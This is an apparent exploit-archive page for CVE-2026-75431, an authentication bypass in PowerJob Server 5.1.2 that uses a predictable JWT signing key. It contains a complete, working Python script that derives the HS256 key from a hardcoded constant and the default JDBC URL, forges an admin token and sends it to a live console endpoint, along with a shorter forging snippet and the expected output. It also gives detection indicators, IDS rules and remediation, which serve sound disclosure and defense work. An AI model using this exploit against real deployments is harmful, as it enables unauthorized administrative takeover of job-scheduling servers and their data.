PoC Archive PoC Archive
CVE-2026-75431 category: web CVSS 9.1 (CRITICAL)
Patched

PowerJob Server Predictable JWT Signing Key → Admin Token Forgery (CVE-2026-75431)

Published: 2026-11-25 • Researcher: unpredictable21 (public PoC repository and NVD-cited gist); PowerJob project (vendor source referenced in the advisory)

Target software PowerJob Server (web console on port 7700 and the OpenAPI surface)
Affected versions 5.1.2 and likely earlier versions (per the NVD description). The supplied NVD data has no structured product or version-range enumeration, so treat 5.1.2 as the confirmed affected release.
Status Weaponized
Severity Critical · CVSS 9.1
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-08-11
Author / Researcherunpredictable21 (public PoC repository and NVD-cited gist); PowerJob project (vendor source referenced in the advisory)
CVE / AdvisoryCVE-2026-75431
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
StatusWeaponized
TagsJWT, HS256, hardcoded-key, CWE-321, auth-bypass, token-forgery, PowerJob, Java, Spring-Boot, admin-takeover
RelatedN/A

Affected Target

FieldValue
Software / SystemPowerJob Server (web console on port 7700 and the OpenAPI surface)
Versions Affected5.1.2 and likely earlier versions (per the NVD description). The supplied NVD data has no structured product or version-range enumeration, so treat 5.1.2 as the confirmed affected release.
Language / PlatformJava (Spring Boot); MySQL-backed; HTTP on port 7700
Authentication RequiredNo (the token is forged offline)
Network Access RequiredYes

Summary

PowerJob Server 5.1.2 derives its HS256 JWT signing key from a hardcoded constant concatenated with the MD5 of the configured JDBC URL, and then Base64-decodes that string into the HMAC key. In default deployments the JDBC URL is published in plaintext in docker-compose and application-daily.properties, so an attacker can reconstruct the key entirely offline with no credentials. Combined with the recomputable login-verification value for the default admin password, this lets an attacker forge an admin JWT and authenticate to the web console; the same key also underpins OpenAPI app tokens. The public PoC derives the key, forges the token and confirms admin access against a live server.

Vulnerability Details

Root Cause

JwtServiceImpl builds the signing key as Base64Decode(BASE_SECURITY + md5(secret)), where BASE_SECURITY is a hardcoded constant in the source and the secret returned by DefaultSecretProvider is simply the MD5 hex of spring.datasource.core.jdbc-url. The JDBC URL is not a secret — it appears verbatim in the default docker-compose.yml, in powerjob-server-starter application-daily.properties, and in ordinary deployment documentation. Because both inputs to the key are public and deterministic, every deployment that keeps the default URL shares a derivable key instead of a random, persisted one. The key is used for HS256 web JWTs and for OpenAPI App Tokens. NVD classifies the flaw as CWE-321 (Use of a Hard-coded Cryptographic Key); the upstream write-up also maps it to CWE-798. A secondary check exists on the encryptedToken claim for PWJB accounts, but that value is a deterministic rePassword(password, username) digest, so the default admin password (powerjob_admin) makes it computable offline as well.

Attack Vector

An unauthenticated HTTP POST to a console API such as /namespace/list on port 7700, carrying a forged JWT in the PowerJwt header. The attacker derives the HS256 key offline from the public BASE_SECURITY constant and the MD5 of the JDBC URL, then builds the header and claims (username PWJB_ADMIN, the derived encryptedToken, sub PowerJob, a future exp) and signs them with HMAC-SHA256. If the admin password was changed, the web-token path is blocked by the encryptedToken mismatch, but the OpenAPI App Token claims (appId, password, encryptType) can be forged independently with the same key, and a leaked legitimate encryptedToken restores the web path.

Impact

Authentication bypass and arbitrary-user token forgery against the PowerJob console and OpenAPI, demonstrated as full admin access to namespace and application data. An attacker with the forged token can read and mutate server configuration, applications, jobs and worker records, which is the administrative foothold needed for code execution through the container/job management surfaces. The NVD description states that this allows a remote attacker to execute arbitrary code; the archived script demonstrates the authentication bypass that enables it rather than an RCE primitive of its own.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker or bare metal)
Target:      PowerJob Server 5.1.2, web console 127.0.0.1:7700,
             MySQL at 127.0.0.1:3307 (database powerjob_daily),
             JDBC URL: jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&
                       characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true
Attacker:    Python 3 with the requests module (same host or LAN)
Tools:       python3, curl, docker compose

Setup Steps

Shell script
1
2
docker compose up -d
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:7700/    # expect 200

The default admin credentials (powerjob_admin) let the attacker recompute the login-verification digest offline. Changing the admin password does not remove the predictable key; it only invalidates that particular offline step.

Proof of Concept

Step-by-Step Reproduction

  1. Baseline, no token — confirm the console rejects an unauthenticated call:

    Shell script
    1
    2
    3
    4
    
    curl -s -X POST http://127.0.0.1:7700/namespace/list \
      -H 'Content-Type: application/json' \
      -d '{"index":0,"pageSize":10}'
    # {"success":false,...,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}
  2. Derive the signing key — compute secret = BASE_SECURITY + md5(jdbc_url), then Base64-decode it (the upstream script adds padding when needed). The resulting key is 101 bytes in the reference lab.

  3. Derive the encryptedToken — rePassword(“powerjob_admin”, “ADMIN”) yields ADMIN_b82a450701f6a71723fb99931fe35e18_b, byte-for-byte equal to the DB user_info.token_login_verify_info value for the default admin.

  4. Forge the admin JWT — header {“typ”:“JWT”,“alg”:“HS256”} plus claims username=PWJB_ADMIN, encryptedToken from step 3, sub=PowerJob and exp set about 7 days ahead, signed with HMAC-SHA256 using the derived key.

  5. Replay the forged token — send the same request with a PowerJwt header:

    Shell script
    1
    
    python3 PowerJob_jwt_key.py 127.0.0.1:7700
  6. Confirm takeover — the response flips from UserNotLoggedIn to success:true with real namespace data.

Exploit Code

See PowerJob_jwt_key.py in this folder (upstream filename preserved). The upstream walkthrough and the confirmed response bodies are in upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import base64, hashlib, hmac, json, time

BASE_SECURITY = ("CengMengXiangZhangJianZouTianYaKanYiKanShiJieDeFanHua"
                 "NianShaoDeXinZongYouXieQingKuangRuJinWoSiHaiWeiJia")
JDBC = ("jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8"
        "&serverTimezone=Asia/Shanghai&allowMultiQueries=true")

secret = BASE_SECURITY + hashlib.md5(JDBC.encode()).hexdigest()
key = base64.b64decode(secret.encode() + b"=" * ((4 - len(secret) % 4) % 4))

b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
enc = "ADMIN_" + hashlib.md5(b"ADMIN_powerjob_admin_z").hexdigest() + "_b"
hdr = b64u(json.dumps({"typ": "JWT", "alg": "HS256"}).encode())
pl  = b64u(json.dumps({"username": "PWJB_ADMIN", "encryptedToken": enc,
                       "sub": "PowerJob",
                       "exp": int(time.time()) + 604800}).encode())
sig = b64u(hmac.new(key, f"{hdr}.{pl}".encode(), hashlib.sha256).digest())
print(f"{hdr}.{pl}.{sig}")   # send as the PowerJwt header

The script takes the target as the first argument and an optional JDBC URL as the second; the hardcoded default is the lab URL, so other deployments must pass their real JDBC URL. Put the printed value in the PowerJwt header of a console request, or let the script do it.

Expected Output

Output
1
2
3
4
5
6
7
[*] /namespace/list without Token : {"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}
[*] JDBC URL            : jdbc:mysql://127.0.0.1:3307/powerjob_daily?...
[*] Derived key length  : 101 bytes
[*] Derived encryptedToken : ADMIN_b82a450701f6a71723fb99931fe35e18_b
[*] Forged ADMIN JWT    : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
[*] /namespace/list with forged JWT: {"success":true,"data":{"index":0,"pageSize":10, ... "code":"default_namespace" ...},"message":null}
[+] Forged token authentication successful (admin takeover).

The exact namespace list and token strings depend on the target instance; the success:true transition is the proof. Upstream screenshots of both requests are linked from the source README.

Detection & Indicators of Compromise

  • Console API calls (for example POST /namespace/list, /app/list, /job/list) carrying a PowerJwt header with no preceding successful /auth or login request from the same source.
  • JWTs whose header is exactly {“typ”:“JWT”,“alg”:“HS256”}, whose sub is PowerJob, and whose encryptedToken matches the deterministic pattern _<32 hex>b — especially ADMIN…_b for PWJB_ADMIN.
  • The same forged token, or tokens sharing one signature key, appearing from multiple source IPs or hosts, which indicates a shared derivable key rather than normal sessions.
  • Admin activity from unfamiliar IPs or user agents, with 7-day token lifetimes and no refresh/login trail in the authentication logs.
  • Server logs showing the admin account authenticated without a matching login event, or PowerJobAuthException: UserNotLoggedIn bursts from one client followed by a success from the same client.

SIEM / IDS Rule (example):

Output
1
2
3
4
5
6
7
8
alert http any any -> any any (msg:"CVE-2026-75431 PowerJob forged JWT / predictable HS256 key"; \
  content:"PowerJwt"; http_header; \
  content:"/namespace/list"; http_uri; \
  flow:to_server; sid:9002620;)

alert http any any -> any any (msg:"CVE-2026-75431 PowerJob admin JWT without login"; \
  content:"PWJB_ADMIN"; http_header; \
  content:"PowerJwt"; http_header; flow:to_server; sid:9002621;)

Remediation

ActionDetail
PatchSee references: the NVD data does not name a fixed release. Upgrade to a PowerJob release that generates and persists a random signing key instead of deriving it from the JDBC URL.
WorkaroundReplace DefaultSecretProvider with a deployment-specific random secret (environment or file), change the default admin password, and give OpenAPI app tokens a separate key from web JWTs.
Config HardeningRestrict ports 7700 and the OpenAPI surface to trusted networks, enforce the encryptedToken secondary check for every account, rotate the signing key after any suspected exposure, and alert on PowerJwt use without a matching login.

References

Notes

Auto-ingested from https://github.com/unpredictable21/CVE-2026-75431_PowerJob_jwt_key_predictable on 2026-11-25.

Review verdict: this is a genuine PoC, not a detector. The script derives the HS256 key offline, forges an admin JWT and sends it to a live console endpoint; the upstream README documents the verified success:true response and the byte-for-byte match with the stored login-verification value. The repository has no license file, so the single source file and README are archived with attribution for authorized research only.

Limitations: the exploit path demonstrated here is authentication bypass / admin token forgery. The NVD description says the flaw allows arbitrary code execution, but the archived script does not itself execute code on the server — it obtains the admin session from which container and job management surfaces can be reached. The hardcoded default JDBC URL must be replaced with the target’s real URL (second argument), and the offline encryptedToken step depends on the default admin password being unchanged. The upstream claim that OpenAPI app tokens are forgeable with the same key was not independently re-verified here. The PoC’s docstring refers to a filename powerjob_jwt_forge.py; the upstream file is PowerJob_jwt_key.py. Sibling entry pocs/web/2026-11-25_cve-2026-75430-poc covers an unauthenticated RCE in the PowerJob worker for the same release line. Do not run this against systems you do not own or have written authorization to test.

PowerJob_jwt_key.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/unpredictable21/CVE-2026-75431_PowerJob_jwt_key_predictable (see README for attribution/license)
"""PowerJob 5.1.2 — Predictable JWT signing key → admin token forgery (finding PJ-12, HIGH).

Root cause:
  - JwtServiceImpl.java:44-102  genSecretKey(secret) = BASE64_DECODE(BASE_SECURITY.concat(secret));
    BASE_SECURITY is a hardcoded pinyin constant.
  - DefaultSecretProvider.java:31-45  fetchSecretKey() = MD5(spring.datasource.core.jdbc-url);
    the JDBC URL is public in docker-compose / application-daily.properties.
  - The PWJB account's encryptedToken = rePassword(password, username), computable offline when the
    default admin password is used (powerjob_admin, finding PJ-02).

Result: an attacker can derive the HS256 key offline and forge a valid ADMIN web JWT (or an OpenAPI
App token) without any credentials.

Usage:
  python3 powerjob_jwt_forge.py <server:7700> [jdbc_url] [username] [password]
  e.g. python3 powerjob_jwt_forge.py 127.0.0.1:7700
"""
import base64
import hashlib
import hmac
import json
import sys
import time

BASE_SECURITY = ("CengMengXiangZhangJianZouTianYa" + "KanYiKanShiJieDeFanHua" +
                 "NianShaoDeXinZongYouXieQingKuang" + "RuJinWoSiHaiWeiJia")
DEFAULT_JDBC = ("jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8"
                "&serverTimezone=Asia/Shanghai&allowMultiQueries=true")


def re_password(password, salt):
    """Compute the encryptedToken used in JWT claims."""
    f1 = f"{salt}_{password}_z"
    return f"{salt}_{hashlib.md5(f1.encode()).hexdigest()}_b"


def b64u(data):
    """Base64 URL-safe encode without padding."""
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def forge_admin_jwt(jdbc_url, username="PWJB_ADMIN", origin_user="ADMIN", password="powerjob_admin"):
    """
    Forge a JWT for the PowerJob admin user.

    Returns:
        (token, key, encrypted_token)
    """
    secret = BASE_SECURITY + hashlib.md5(jdbc_url.encode()).hexdigest()
    # Decode secret as Base64, adding padding if necessary
    key = base64.b64decode(secret.encode() + b"=" * ((4 - len(secret) % 4) % 4))

    enc = re_password(password, origin_user)

    header = b64u(json.dumps({"typ": "JWT", "alg": "HS256"}).encode())
    claims = {
        "username": username,
        "encryptedToken": enc,
        "sub": "PowerJob",
        "exp": int(time.time()) + 604800  # 7 days
    }
    payload = b64u(json.dumps(claims).encode())

    signature = hmac.new(key, f"{header}.{payload}".encode(), hashlib.sha256).digest()
    token = f"{header}.{payload}.{b64u(signature)}"
    return token, key, enc


def main():
    if len(sys.argv) > 1:
        server = sys.argv[1]
    else:
        server = "127.0.0.1:7700"

    if len(sys.argv) > 2:
        jdbc = sys.argv[2]
    else:
        jdbc = DEFAULT_JDBC

    token, key, enc = forge_admin_jwt(jdbc)

    print(f"[*] JDBC URL            : {jdbc}")
    print(f"[*] Derived key length  : {len(key)} bytes")
    print(f"[*] Derived encryptedToken : {enc}")
    print(f"[*] Forged ADMIN JWT    : {token}")

    import requests

    base = f"http://{server}"

    # Test without token
    r0 = requests.post(f"{base}/namespace/list", json={"index": 0, "pageSize": 10}, timeout=10)
    print(f"\n[*] /namespace/list without Token: {r0.text[:120]}")

    # Test with forged token
    r1 = requests.post(
        f"{base}/namespace/list",
        json={"index": 0, "pageSize": 10},
        headers={"PowerJwt": token},
        timeout=10
    )
    print(f"[*] /namespace/list with forged JWT: {r1.text[:200]}")

    if r1.json().get("success"):
        print("[+] Forged token authentication successful (admin takeover).")
    else:
        print("[-] Forged token authentication failed.")


if __name__ == "__main__":
    main()